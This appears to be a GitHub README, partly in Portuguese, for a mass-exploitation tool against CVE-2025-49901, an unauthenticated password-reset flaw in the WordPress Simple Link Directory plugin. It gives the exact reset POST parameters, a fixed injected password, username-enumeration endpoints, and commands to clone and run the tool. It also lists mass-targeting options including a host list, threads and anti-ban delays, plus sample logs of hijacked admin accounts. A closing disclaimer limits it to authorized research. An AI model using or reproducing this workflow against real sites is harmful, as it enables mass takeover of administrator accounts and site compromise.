nxploited/cve-2025-49901O plugin Simple Link Directory para WordPress versão anterior a 14.8.1 é vulnerável a uma quebra de autenticação de alta prioridade.
O Plugin Simple Link Directory do WordPress < 14.8.1 é vulnerável a uma Quebra de Autenticação de alta prioridade
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-49901 · Simple Link Directory · qc-opd ║
║ Authentication Bypass → Password Reset → RCE ║
╚═══════════════════════════════════════════════════════════════════╝
O formulário de redefinição de senha qc-opd exposto nas páginas SLD aceita um nome de usuário e uma nova senha sem verificar a identidade do usuário por meio de qualquer token, confirmação por e-mail ou verificação de capacidade. Um atacante não autenticado pode enumerar nomes de usuário do WordPress, enviar o formulário de redefinição para qualquer conta e autenticar imediatamente com a senha injetada — obtendo acesso de administrador sem nenhuma interação do usuário alvo.
┌─────────────────────────────────────────────────────────┐
│ 1. Locate SLD reset page │
│ Probe 28+ paths → match: "sld" + "_wpnonce" + form │
│ │
│ 2. Extract nonce │
│ Parse _wpnonce from HTML / JS / qc-opd-nonce │
│ │
│ 3. Enumerate usernames │
│ /?author=1..10 + /wp-json/wp/v2/users + hostname │
│ │
│ 4. Reset password for each username │
│ POST qc-restore-pwd=restore │
│ qc-uid=<username> │
│ pass=newhackerpass123 │
│ _wpnonce=<nonce> │
│ │
│ 5. Verify access (dual mode) │
│ Session mode → cookie check + /wp-admin/ probes │
│ Password mode → wp-login.php + admin panel check │
│ │
│ 6. Write confirmed hits → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py
requirements.txt
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0
Arquivo de lista de alvos → list.txt (um host por linha)
Threads → padrão 5
Timeout HTTP → padrão 10s
Atraso por usuário MIN/MAX → limitador anti-ban (padrão 0.3 / 0.7s)
Atraso entre sites → padrão 1.0s
Arquivo de saída → scan_results/reset_mass_success.txt
Formato dos alvos:
https://target1.com
target2.com
http://target3.com/wordpress
Senha fixa injetada em todas as redefinições:
newhackerpass123
| Método | Endpoint |
|---|---|
| Redirecionamento de autor | → |
Após cada tentativa de redefinição, a ferramenta verifica o acesso usando dois métodos independentes:
Session mode → checks wordpress_logged_in cookie + /wp-admin/ indicators
Password mode → full wp-login.php POST + multi-path admin panel probe
Indicadores de administrador verificados:
id="adminmenu" · id="wpadminbar" · id="wpwrap"
users.php · plugins.php · plugin-install-tab · upload-plugin
[HH:MM:SS] [https://target.com] NONCE: OK | RESET: OK | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: - | ACCESS: 0 HIT
scan_results/reset_mass_success.txt
[2025-06-01T14:22:10] https://target.com - account=admin pass=newhackerpass123 mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123 mode=session
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Simple Link Directory < 14.8.1 · Fixed in 14.8.1
| CVE | CVE-2025-49901 |
| CVSS | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | quantumcloud Simple Link Directory (qc-simple-link-directory) |
| Afetado | Todas as versões < 14.8.1 |
| Autenticação | Nenhuma necessária |
| Tipo | Authentication Bypass via Alternate Path (CWE-288) |
| CWE | CWE-288 · Authentication Bypass Using an Alternate Path or Channel |
/?author=1/?author=10| REST API | /wp-json/wp/v2/users |
| Nome do host | Primeiro rótulo do domínio como fallback |
| Codificado | admin sempre incluído |